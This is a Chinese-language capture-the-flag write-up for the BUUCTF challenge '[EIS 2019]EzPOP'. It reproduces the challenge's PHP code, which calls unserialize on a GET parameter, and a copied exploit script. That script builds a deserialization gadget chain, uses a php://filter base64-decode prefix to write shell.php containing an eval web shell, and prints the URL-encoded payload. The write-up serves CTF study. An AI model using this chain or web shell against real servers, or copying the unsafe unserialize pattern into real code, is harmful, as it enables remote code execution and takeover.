132,【1】 buuctf web [EIS 2019]EzPOP
先不进入靶场了,先看给出的代码
<?php
// 关闭所有错误报告,避免在页面上显示错误信息
error_reporting(0);
/**
* 类 A:用于处理缓存内容的管理和存储
*/
class A {
// 存储缓存数据的对象
protected $store;
// 缓存的键名
protected $key;
// 缓存的过期时间
protected $expire;
/**
* 构造函数,初始化类的属性
*
* @param object $store 存储缓存数据的对象
* @param string $key 缓存的键名,默认为 'flysystem'
* @param mixed $expire 缓存的过期时间,默认为 null
*/
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
/**
* 清理缓存内容,只保留指定的属性
*
* @param array $contents 缓存内容数组
* @return array 清理后的缓存内容数组
*/
public function cleanContents(array $contents) {
// 定义需要保留的属性数组,并将其键值反转,方便后续使用
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
// 遍历缓存内容数组
foreach ($contents as $path => $object) {
// 如果当前元素是数组
if (is_array($object)) {
// 只保留指定属性的键值对
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
/**
* 获取用于存储的缓存内容
*
* @return string 经过清理和 JSON 编码后的缓存内容
*/
public function getForStorage() {
// 清理缓存内容
$cleaned = $this->cleanContents($this->cache);
// 将清理后的内容和其他信息进行 JSON 编码
return json_encode([$cleaned, $this->complete]);
}
/**
* 保存缓存内容到存储对象
*/
public function save() {
// 获取用于存储的缓存内容
$contents = $this->getForStorage();
// 调用存储对象的 set 方法保存缓存内容
$this->store->set($this->key, $contents, $this->expire);
}
/**
* 析构函数,在对象销毁时自动调用
*/
public function __destruct() {
// 如果 autosave 属性为 false
if (!$this->autosave) {
// 保存缓存内容
$this->save();
}
}
}
/**
* 类 B:用于处理缓存的设置和文件存储
*/
class B {
/**
* 获取过期时间,将其转换为整数
*
* @param mixed $expire 过期时间
* @return int 转换后的过期时间
*/
protected function getExpireTime($expire): int {
return (int) $expire;
}
/**
* 获取缓存的键名,添加前缀
*
* @param string $name 原始键名
* @return string 添加前缀后的键名
*/
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}
/**
* 序列化数据
*
* @param mixed $data 要序列化的数据
* @return string 序列化后的数据
*/
protected function serialize($data): string {
// 如果数据是数字类型
if (is_numeric($data)) {
// 将其转换为字符串
return (string) $data;
}
// 获取序列化方法
$serialize = $this->options['serialize'];
// 调用序列化方法进行序列化
return $serialize($data);
}
/**
* 设置缓存
*
* @param string $name 缓存的键名
* @param mixed $value 缓存的值
* @param mixed $expire 缓存的过期时间,默认为 null
* @return bool 设置是否成功
*/
public function set($name, $value, $expire = null): bool{
// 记录写入次数
$this->writeTimes++;
// 如果过期时间为 null
if (is_null($expire)) {
// 使用默认的过期时间
$expire = $this->options['expire'];
}
// 获取过期时间
$expire = $this->getExpireTime($expire);
// 获取缓存的键名
$filename = $this->getCacheKey($name);
// 获取缓存文件所在的目录
$dir = dirname($filename);
// 如果目录不存在
if (!is_dir($dir)) {
try {
// 创建目录,权限为 0755,允许递归创建
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 处理创建目录失败的情况
// 创建失败
}
}
// 序列化数据
$data = $this->serialize($value);
// 如果开启了数据压缩且 gzcompress 函数存在
if ($this->options['data_compress'] && function_exists('gzcompress')) {
// 对数据进行压缩
$data = gzcompress($data, 3);
}
// 在数据前添加过期时间和退出语句
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
// 将数据写入文件
$result = file_put_contents($filename, $data);
// 如果写入成功
if ($result) {
return true;
}
return false;
}
}
// 如果 GET 请求中包含 src 参数
if (isset($_GET['src']))
{
// 高亮显示当前文件的源代码
highlight_file(__FILE__);
}
// 定义上传目录
$dir = "uploads/";
// 如果上传目录不存在
if (!is_dir($dir))
{
// 创建上传目录
mkdir($dir);
}
// 对 GET 请求中的 data 参数进行反序列化操作
unserialize($_GET["data"]);
微长
要不进靶场看看
那要不还是继续看代码吧
看完懵懵的,
不过啊,不过啊,下面几个代码块首先引起了我的关注,截下来更方便看
还是很懵,先看看大佬脚本
<?php
class A{
protected $store;
protected $key;
protected $expire;
public function __construct()
{
$this->cache = array();
$this->complete = base64_encode("xxx".base64_encode('<?php @eval($_POST["123"]);?>'));
$this->key = "shell.php";
$this->store = new B();
$this->autosave = false;
$this->expire = 0;
}
}
class B{
public $options = array();
function __construct()
{
$this->options['serialize'] = 'base64_decode';
$this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';
$this->options['data_compress'] = false;
}
}
echo urlencode(serialize(new A()));
O%3A1%3A%22A%22%3A6%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A3%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A13%3A%22base64_decode%22%3Bs%3A6%3A%22prefix%22%3Bs%3A50%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3D%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A9%3A%22shell.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3Bi%3A0%3Bs%3A5%3A%22cache%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22complete%22%3Bs%3A60%3A%22eHh4UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3lJeE1qTWlYU2s3UHo0PQ%3D%3D%22%3Bs%3A8%3A%22autosave%22%3Bb%3A0%3B%7D